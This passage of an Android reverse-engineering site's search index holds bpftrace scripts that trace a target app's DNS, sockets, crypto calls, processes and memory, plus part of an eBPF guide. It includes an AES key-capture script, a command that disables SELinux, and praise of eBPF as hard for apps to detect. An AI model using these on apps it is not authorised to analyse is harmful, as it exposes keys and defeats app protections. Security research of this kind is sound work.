dns_query.bt // 用途: 追踪 DNS 解析 uprobe:/system/lib64/libc.so:getaddrinfo /comm == \"com.target.app\"/ { printf(\"[DNS] Resolving: %s\\n\", str(arg0)); @dns_queries[str(arg0)] = count(); } uretprobe:/system/lib64/libc.so:getaddrinfo /comm == \"com.target.app\"/ { printf(\" -\u003e result: %d\\n\", retval); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:2:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪-dns-查询"},{"categories":null,"collections":null,"content":"追踪 Socket 数据 #!/usr/bin/env bpftrace // 文件: socket_data.bt // 用途: 追踪 socket 发送接收的数据 tracepoint:syscalls:sys_enter_sendto /comm == \"com.target.app\"/ { printf(\"[SEND] fd=%d len=%d\\n\", args-\u003efd, args-\u003elen); @send_bytes = sum(args-\u003elen); } tracepoint:syscalls:sys_enter_recvfrom /comm == \"com.target.app\"/ { @recv_pending[tid] = args-\u003esize; } tracepoint:syscalls:sys_exit_recvfrom /comm == \"com.target.app\" \u0026\u0026 @recv_pending[tid]/ { $received = args-\u003eret; if ($received \u003e 0) { printf(\"[RECV] %d bytes\\n\", $received); @recv_bytes = sum($received); } delete(@recv_pending[tid]); } END { printf(\"\\n=== 网络统计 ===\\n\"); printf(\"发送: %d 字节\\n\", @send_bytes); printf(\"接收: %d 字节\\n\", @recv_bytes); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:2:3","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪-socket-数据"},{"categories":null,"collections":null,"content":"加密函数追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:3:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#加密函数追踪"},{"categories":null,"collections":null,"content":"OpenSSL 追踪 #!/usr/bin/env bpftrace // 文件: openssl_trace.bt // 用途: 追踪 OpenSSL 加密操作 // EVP 加密初始化 uprobe:/system/lib64/libcrypto.so:EVP_EncryptInit_ex /comm == \"com.target.app\"/ { printf(\"[CRYPTO] EVP_EncryptInit_ex\\n\"); printf(\" ctx: %p, cipher: %p\\n\", arg0, arg1); @encrypt_init = count(); } // EVP 加密更新 uprobe:/system/lib64/libcrypto.so:EVP_EncryptUpdate /comm == \"com.target.app\"/ { printf(\"[CRYPTO] EVP_EncryptUpdate len=%d\\n\", arg3); @encrypt_bytes = sum(arg3); } // EVP 解密初始化 uprobe:/system/lib64/libcrypto.so:EVP_DecryptInit_ex /comm == \"com.target.app\"/ { printf(\"[CRYPTO] EVP_DecryptInit_ex\\n\"); @decrypt_init = count(); } // EVP 解密更新 uprobe:/system/lib64/libcrypto.so:EVP_DecryptUpdate /comm == \"com.target.app\"/ { printf(\"[CRYPTO] EVP_DecryptUpdate len=%d\\n\", arg3); @decrypt_bytes = sum(arg3); } // HMAC uprobe:/system/lib64/libcrypto.so:HMAC /comm == \"com.target.app\"/ { printf(\"[CRYPTO] HMAC data_len=%d\\n\", arg3); @hmac_count = count(); } // SHA256 uprobe:/system/lib64/libcrypto.so:SHA256 /comm == \"com.target.app\"/ { printf(\"[CRYPTO] SHA256 len=%d\\n\", arg1); @sha256_count = count(); } END { printf(\"\\n=== 加密统计 ===\\n\"); printf(\"加密初始化: %d 次, 处理: %d 字节\\n\", @encrypt_init, @encrypt_bytes); printf(\"解密初始化: %d 次, 处理: %d 字节\\n\", @decrypt_init, @decrypt_bytes); printf(\"HMAC: %d 次\\n\", @hmac_count); printf(\"SHA256: %d 次\\n\", @sha256_count); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:3:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#openssl-追踪"},{"categories":null,"collections":null,"content":"AES 密钥捕获 #!/usr/bin/env bpftrace // 文件: aes_key_capture.bt // 用途: 捕获 AES 密钥 (仅用于安全研究) uprobe:/system/lib64/libcrypto.so:AES_set_encrypt_key /comm == \"com.target.app\"/ { printf(\"[AES] Setting encrypt key, bits=%d\\n\", arg1); // 打印密钥的前几个字节 (仅示例) $key = (uint8 *)arg0; printf(\" Key prefix: %02x %02x %02x %02x ...\\n\", $key[0], $key[1], $key[2], $key[3]); } uprobe:/system/lib64/libcrypto.so:AES_set_decrypt_key /comm == \"com.target.app\"/ { printf(\"[AES] Setting decrypt key, bits=%d\\n\", arg1); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:3:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#aes-密钥捕获"},{"categories":null,"collections":null,"content":"反调试检测 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:4:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#反调试检测"},{"categories":null,"collections":null,"content":"检测反调试行为 #!/usr/bin/env bpftrace // 文件: anti_debug_detect.bt // 用途: 检测应用的反调试行为 // ptrace 检测 tracepoint:syscalls:sys_enter_ptrace { printf(\"[ANTI-DEBUG] ptrace by %s (PID:%d)\\n\", comm, pid); printf(\" request: %d, pid: %d\\n\", args-\u003erequest, args-\u003epid); if (args-\u003erequest == 0) { // PTRACE_TRACEME printf(\" !!! PTRACE_TRACEME detected !!!\\n\"); } } // /proc/self/status 读取 (检测 TracerPid) tracepoint:syscalls:sys_enter_openat /strcontains(str(args-\u003efilename), \"/proc/\") \u0026\u0026 strcontains(str(args-\u003efilename), \"/status\")/ { printf(\"[ANTI-DEBUG] %s reading %s\\n\", comm, str(args-\u003efilename)); } // /proc/self/maps 读取 (检测 Frida) tracepoint:syscalls:sys_enter_openat /strcontains(str(args-\u003efilename), \"/proc/\") \u0026\u0026 strcontains(str(args-\u003efilename), \"/maps\")/ { printf(\"[ANTI-DEBUG] %s reading %s\\n\", comm, str(args-\u003efilename)); } // inotify 监控 (检测文件修改) tracepoint:syscalls:sys_enter_inotify_add_watch { printf(\"[ANTI-DEBUG] %s adding inotify watch: %s\\n\", comm, str(args-\u003epathname)); } // prctl 调用 (可能用于 PR_SET_DUMPABLE) tracepoint:syscalls:sys_enter_prctl { printf(\"[ANTI-DEBUG] prctl by %s option=%d\\n\", comm, args-\u003eoption); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:4:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#检测反调试行为"},{"categories":null,"collections":null,"content":"Frida 检测监控 #!/usr/bin/env bpftrace // 文件: frida_detect.bt // 用途: 监控应用检测 Frida 的行为 // 检测 Frida 端口扫描 tracepoint:syscalls:sys_enter_connect /comm == \"com.target.app\"/ { $sa = (struct sockaddr *)args-\u003euservaddr; if ($sa-\u003esa_family == 2) { $sin = (struct sockaddr_in *)$sa; $port = ($sin-\u003esin_port \u003e\u003e 8) | (($sin-\u003esin_port \u0026 0xff) \u003c\u003c 8); // Frida 默认端口 if ($port == 27042 || $port == 27043) { printf(\"[FRIDA-DETECT] Connecting to Frida port %d\\n\", $port); } } } // 检测 Frida 相关文件访问 tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { $f = str(args-\u003efilename); if (strcontains($f, \"frida\") || strcontains($f, \"gadget\") || strcontains($f, \"agent\")) { printf(\"[FRIDA-DETECT] Checking file: %s\\n\", $f); } } // 检测 /proc/self/maps 中的 Frida kprobe:proc_pid_maps { printf(\"[FRIDA-DETECT] %s reading /proc/maps\\n\", comm); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:4:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#frida-检测监控"},{"categories":null,"collections":null,"content":"进程和线程 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:5:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#进程和线程"},{"categories":null,"collections":null,"content":"进程创建追踪 #!/usr/bin/env bpftrace // 文件: process_trace.bt // 用途: 追踪进程创建和执行 tracepoint:syscalls:sys_enter_clone /comm == \"com.target.app\"/ { printf(\"[CLONE] %s creating child, flags=%x\\n\", comm, args-\u003eclone_flags); } tracepoint:syscalls:sys_enter_execve { printf(\"[EXEC] %s -\u003e %s\\n\", comm, str(args-\u003efilename)); } tracepoint:sched:sched_process_fork /comm == \"com.target.app\"/ { printf(\"[FORK] %s (PID:%d) forked child PID:%d\\n\", comm, args-\u003eparent_pid, args-\u003echild_pid); } tracepoint:sched:sched_process_exit /comm == \"com.target.app\"/ { printf(\"[EXIT] %s (PID:%d)\\n\", comm, pid); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:5:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#进程创建追踪"},{"categories":null,"collections":null,"content":"线程活动监控 #!/usr/bin/env bpftrace // 文件: thread_trace.bt // 用途: 追踪线程创建和调度 tracepoint:syscalls:sys_enter_clone /comm == \"com.target.app\" \u0026\u0026 (args-\u003eclone_flags \u0026 0x10000)/ // CLONE_THREAD { printf(\"[THREAD] Creating new thread\\n\"); @thread_create = count(); } tracepoint:sched:sched_switch /prev_comm == \"com.target.app\" || next_comm == \"com.target.app\"/ { printf(\"[SWITCH] %s -\u003e %s\\n\", prev_comm, next_comm); } // 追踪互斥锁 uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:pthread_mutex_lock /comm == \"com.target.app\"/ { @mutex_lock[arg0] = nsecs; } uretprobe:/apex/com.android.runtime/lib64/bionic/libc.so:pthread_mutex_lock /comm == \"com.target.app\" \u0026\u0026 @mutex_lock[arg0]/ { $wait = nsecs - @mutex_lock[arg0]; @mutex_wait = hist($wait); delete(@mutex_lock[arg0]); } END { printf(\"\\n=== 线程统计 ===\\n\"); printf(\"线程创建: %d\\n\", @thread_create); printf(\"互斥锁等待时间分布:\\n\"); print(@mutex_wait); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:5:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#线程活动监控"},{"categories":null,"collections":null,"content":"JNI 和 ART ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:6:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#jni-和-art"},{"categories":null,"collections":null,"content":"JNI 调用追踪 #!/usr/bin/env bpftrace // 文件: jni_trace.bt // 用途: 追踪 JNI 函数调用 // FindClass uprobe:/apex/com.android.art/lib64/libart.so:*FindClass* /comm == \"com.target.app\"/ { printf(\"[JNI] FindClass\\n\"); @jni_findclass = count(); } // GetMethodID uprobe:/apex/com.android.art/lib64/libart.so:*GetMethodID* /comm == \"com.target.app\"/ { printf(\"[JNI] GetMethodID\\n\"); @jni_getmethod = count(); } // CallObjectMethod uprobe:/apex/com.android.art/lib64/libart.so:*CallObjectMethod* /comm == \"com.target.app\"/ { printf(\"[JNI] CallObjectMethod\\n\"); @jni_call = count(); } // RegisterNatives uprobe:/apex/com.android.art/lib64/libart.so:*RegisterNatives* /comm == \"com.target.app\"/ { printf(\"[JNI] RegisterNatives\\n\"); @jni_register = count(); } END { printf(\"\\n=== JNI 统计 ===\\n\"); printf(\"FindClass: %d\\n\", @jni_findclass); printf(\"GetMethodID: %d\\n\", @jni_getmethod); printf(\"CallObjectMethod: %d\\n\", @jni_call); printf(\"RegisterNatives: %d\\n\", @jni_register); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:6:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#jni-调用追踪"},{"categories":null,"collections":null,"content":"ART 方法编译追踪 #!/usr/bin/env bpftrace // 文件: art_compile.bt // 用途: 追踪 ART JIT 编译 uprobe:/apex/com.android.art/lib64/libart.so:*JitCompile* /comm == \"com.target.app\"/ { printf(\"[JIT] Method compiled\\n\"); @jit_compile = count(); } uprobe:/apex/com.android.art/lib64/libart.so:*CompileMethod* /comm == \"com.target.app\"/ { @compile_method = count(); } END { printf(\"\\n=== ART JIT 统计 ===\\n\"); printf(\"JIT 编译: %d\\n\", @jit_compile); printf(\"方法编译: %d\\n\", @compile_method); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:6:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#art-方法编译追踪"},{"categories":null,"collections":null,"content":"内存追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:7:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#内存追踪"},{"categories":null,"collections":null,"content":"内存分配追踪 #!/usr/bin/env bpftrace // 文件: memory_alloc.bt // 用途: 追踪内存分配 uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:malloc /comm == \"com.target.app\"/ { @malloc_size = hist(arg0); @malloc_total = sum(arg0); @malloc_count = count(); } uretprobe:/apex/com.android.runtime/lib64/bionic/libc.so:malloc /comm == \"com.target.app\"/ { @malloc_ptrs[retval] = nsecs; } uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:free /comm == \"com.target.app\" \u0026\u0026 @malloc_ptrs[arg0]/ { $lifetime = nsecs - @malloc_ptrs[arg0]; @mem_lifetime = hist($lifetime); delete(@malloc_ptrs[arg0]); @free_count = count(); } uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:realloc /comm == \"com.target.app\"/ { printf(\"[REALLOC] ptr=%p new_size=%zu\\n\", arg0, arg1); @realloc_count = count(); } END { printf(\"\\n=== 内存分配统计 ===\\n\"); printf(\"malloc 次数: %d, 总量: %d 字节\\n\", @malloc_count, @malloc_total); printf(\"free 次数: %d\\n\", @free_count); printf(\"realloc 次数: %d\\n\", @realloc_count); printf(\"\\nmalloc 大小分布:\\n\"); print(@malloc_size); printf(\"\\n内存生命周期分布 (ns):\\n\"); print(@mem_lifetime); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:7:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#内存分配追踪"},{"categories":null,"collections":null,"content":"mmap 追踪 #!/usr/bin/env bpftrace // 文件: mmap_trace.bt // 用途: 追踪内存映射 tracepoint:syscalls:sys_enter_mmap /comm == \"com.target.app\"/ { printf(\"[MMAP] addr=%p len=%zu prot=%x flags=%x fd=%d offset=%lu\\n\", args-\u003eaddr, args-\u003elen, args-\u003eprot, args-\u003eflags, args-\u003efd, args-\u003eoff); @mmap_total = sum(args-\u003elen); @mmap_count = count(); // 记录可执行映射 if (args-\u003eprot \u0026 4) { // PROT_EXEC @exec_mmap = count(); printf(\" !!! EXECUTABLE MAPPING !!!\\n\"); } } tracepoint:syscalls:sys_enter_munmap /comm == \"com.target.app\"/ { printf(\"[MUNMAP] addr=%p len=%zu\\n\", args-\u003eaddr, args-\u003elen); @munmap_count = count(); } tracepoint:syscalls:sys_enter_mprotect /comm == \"com.target.app\"/ { printf(\"[MPROTECT] addr=%p len=%zu prot=%x\\n\", args-\u003estart, args-\u003elen, args-\u003eprot); if (args-\u003eprot \u0026 4) { // PROT_EXEC printf(\" !!! MAKING EXECUTABLE !!!\\n\"); } } END { printf(\"\\n=== mmap 统计 ===\\n\"); printf(\"mmap: %d 次, 总量: %d 字节\\n\", @mmap_count, @mmap_total); printf(\"munmap: %d 次\\n\", @munmap_count); printf(\"可执行映射: %d 次\\n\", @exec_mmap); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:7:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#mmap-追踪"},{"categories":null,"collections":null,"content":"性能分析 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:8:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#性能分析"},{"categories":null,"collections":null,"content":"函数耗时统计 #!/usr/bin/env bpftrace // 文件: func_latency.bt // 用途: 统计关键函数耗时 // 使用: 修改目标函数路径 uprobe:/data/app/com.target.app-*/lib/arm64/libnative.so:target_function { @start[tid] = nsecs; } uretprobe:/data/app/com.target.app-*/lib/arm64/libnative.so:target_function /@start[tid]/ { $latency = nsecs - @start[tid]; @latency_ns = hist($latency); @total_time = sum($latency); @call_count = count(); delete(@start[tid]); } END { printf(\"\\n=== 函数耗时统计 ===\\n\"); printf(\"调用次数: %d\\n\", @call_count); printf(\"总耗时: %d ns\\n\", @total_time); printf(\"耗时分布:\\n\"); print(@latency_ns); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:8:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#函数耗时统计"},{"categories":null,"collections":null,"content":"CPU 采样 #!/usr/bin/env bpftrace // 文件: cpu_profile.bt // 用途: CPU 热点采样 profile:hz:99 /comm == \"com.target.app\"/ { @cpu_samples[ustack] = count(); } END { printf(\"\\n=== CPU 热点 (Top 10) ===\\n\"); print(@cpu_samples, 10); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:8:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#cpu-采样"},{"categories":null,"collections":null,"content":"实用工具函数 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:9:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#实用工具函数"},{"categories":null,"collections":null,"content":"进程过滤模板 #!/usr/bin/env bpftrace // 文件: filter_template.bt // 用途: 进程过滤模板 // 方法1: 按进程名过滤 /comm == \"com.target.app\"/ // 方法2: 按 PID 过滤 /pid == $1/ // bpftrace script.bt 12345 // 方法3: 按 UID 过滤 /uid == 10123/ // 方法4: 按 cgroup 过滤 (容器) /cgroup == \"docker/xxx\"/ // 方法5: 排除特定进程 /comm != \"logd\" \u0026\u0026 comm != \"servicemanager\"/ ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:9:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#进程过滤模板"},{"categories":null,"collections":null,"content":"输出格式化 #!/usr/bin/env bpftrace // 文件: output_format.bt // 用途: 输出格式化示例 BEGIN { printf(\"%-20s %-10s %-10s %s\\n\", \"TIME\", \"PID\", \"COMM\", \"ACTION\"); printf(\"%-20s %-10s %-10s %s\\n\", \"----\", \"---\", \"----\", \"------\"); } tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { $ts = nsecs / 1000000000; printf(\"%-20llu %-10d %-10s OPEN: %s\\n\", $ts, pid, comm, str(args-\u003efilename)); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:9:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#输出格式化"},{"categories":null,"collections":null,"content":"运行说明 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:10:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#运行说明"},{"categories":null,"collections":null,"content":"基本用法 # 运行脚本 adb shell /data/local/tmp/bpftrace /path/to/script.bt # 带参数运行 adb shell /data/local/tmp/bpftrace /path/to/script.bt 12345 # 单行命令 adb shell /data/local/tmp/bpftrace -e 'tracepoint:syscalls:sys_enter_* { @[probe] = count(); }' # 输出到文件 adb shell /data/local/tmp/bpftrace /path/to/script.bt \u003e output.txt 2\u003e\u00261 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:10:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#基本用法"},{"categories":null,"collections":null,"content":"权限设置 # 确保 root 权限 adb root # 禁用 SELinux (临时) adb shell setenforce 0 # 检查 bpf 文件系统 adb shell mount | grep bpf ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:10:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#权限设置"},{"categories":null,"collections":null,"content":"常见问题 “Failed to attach”: 检查函数名是否正确，使用 nm 或 readelf 确认 “Permission denied”: 需要 root 权限和 SELinux 设置 “不支持的内核版本”: 需要 4.14+ 内核 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:10:3","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#常见问题"},{"categories":null,"collections":null,"content":"参考资料 bpftrace Reference Guide bpftrace One-Liners eBPF 使用指南 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:11:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#参考资料"},{"categories":null,"collections":null,"content":"eBPF 使用指南 eBPF (extended Berkeley Packet Filter) 是 Linux 内核中的一项革命性技术，允许在内核空间运行沙盒程序而无需修改内核代码。在 Android 逆向工程中，eBPF 提供了比 Frida 更底层、更隐蔽的追踪能力。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:0:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#ebpf-使用指南"},{"categories":null,"collections":null,"content":"为什么选择 eBPF ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:1:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#为什么选择-ebpf"},{"categories":null,"collections":null,"content":"与其他工具对比 特性 eBPF Frida Xposed 检测难度 极难 中等 容易 内核级追踪 原生支持 不支持 不支持 性能开销 极低 中等 中等 系统调用追踪 原生支持 需要额外实现 不支持 网络包捕获 原生支持 不支持 不支持 Root 需求 是 是 是 Android 支持 4.14+ 内核 广泛 广泛 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:1:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#与其他工具对比"},{"categories":null,"collections":null,"content":"eBPF 的优势 隐蔽性: 运行在内核空间，应用层检测极其困难 性能: JIT 编译，接近原生性能 安全性: 内核验证器确保程序安全 全面性: 可追踪系统调用、网络、文件系统等各个层面 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:1:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#ebpf-的优势"},{"categories":null,"collections":null,"content":"环境准备 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:2:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#环境准备"},{"categories":null,"collections":null,"content":"检查内核支持 # 检查内核版本（需要 4.14+） adb shell uname -r # 检查 eBPF 支持 adb shell ls /sys/fs/bpf/ # 检查 CONFIG_BPF 相关配置 adb shell zcat /proc/config.gz | grep -i bpf 需要确认以下内核配置启用: CONFIG_BPF=y CONFIG_BPF_SYSCALL=y CONFIG_BPF_JIT=y CONFIG_HAVE_EBPF_JIT=y CONFIG_BPF_EVENTS=y ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:2:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#检查内核支持"},{"categories":null,"collections":null,"content":"安装 bpftrace (推荐) bpftrace 是 eBPF 的高级追踪语言，类似于 awk 和 DTrace。 在 Android 上安装: # 下载预编译的 bpftrace (需要 root) # https://github.com/aspect-build/bpftrace-android # 推送到设备 adb push bpftrace /data/local/tmp/ adb shell chmod +x /data/local/tmp/bpftrace # 测试运行 adb shell /data/local/tmp/bpftrace -e 'BEGIN { printf(\"eBPF works!\\n\"); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:2:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#安装-bpftrace-推荐"},{"categories":null,"collections":null,"content":"安装 BCC 工具集 BCC (BPF Compiler Collection) 提供了丰富的预置追踪工具。 # 交叉编译 BCC for Android # 或使用预编译版本 # 常用工具 # - opensnoop: 追踪文件打开 # - execsnoop: 追踪进程执行 # - tcpconnect: 追踪 TCP 连接 # - trace: 通用函数追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:2:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#安装-bcc-工具集"},{"categories":null,"collections":null,"content":"快速入门 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:3:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#快速入门"},{"categories":null,"collections":null,"content":"Hello World # 最简单的 bpftrace 脚本 adb shell /data/local/tmp/bpftrace -e ' BEGIN { printf(\"开始追踪...\\n\"); } END { printf(\"追踪结束\\n\"); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:3:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#hello-world"},{"categories":null,"collections":null,"content":"追踪系统调用 # 追踪特定应用的所有系统调用 adb shell /data/local/tmp/bpftrace -e ' tracepoint:raw_syscalls:sys_enter /comm == \"com.target.app\"/ { @syscalls[args-\u003eid] = count(); } END { print(@syscalls); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:3:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#追踪系统调用"},{"categories":null,"collections":null,"content":"追踪文件操作 # 追踪文件打开操作 adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { printf(\"%s opened: %s\\n\", comm, str(args-\u003efilename)); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:3:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#追踪文件操作"},{"categories":null,"collections":null,"content":"核心概念 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:4:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#核心概念"},{"categories":null,"collections":null,"content":"程序类型 eBPF 支持多种程序类型: 类型 用途 Android 逆向场景 kprobe/kretprobe 内核函数追踪 追踪内核行为 